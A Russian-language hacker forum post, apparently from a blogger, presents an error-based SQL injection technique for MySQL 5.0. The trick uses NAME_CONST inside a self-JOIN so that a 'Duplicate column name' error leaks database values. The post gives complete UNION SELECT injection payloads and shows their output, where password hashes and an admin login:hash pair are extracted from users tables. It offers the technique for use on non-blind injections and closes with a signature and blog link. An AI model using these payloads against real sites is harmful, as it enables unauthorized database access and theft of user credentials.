Итак, развиваем тему "more 1 row".
Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.
Для этого вспоминаем мой метод получения имён полей из БД:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Выведет имя поля, присутствуещего с двух сторон оператора JOIN:
#1060 - Duplicate column name 'id'
А что если попытаться подставить значение из базы, в качестве имени одного из полей?
На поиск такого варианта я потратил много времени и решение было найдено:
Функция
NAME_CONST()
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
Пробуем, и получаем рабочий запрос:
SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a
Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'
И вот ещё пример от
jokester:
mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.
Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.
Первым идею выводить значение поля в тексте ошибки, мне предложил
Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...
P.S.
Ну что, кто сможет быстрее??
UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог:
http://qwazar.ru/.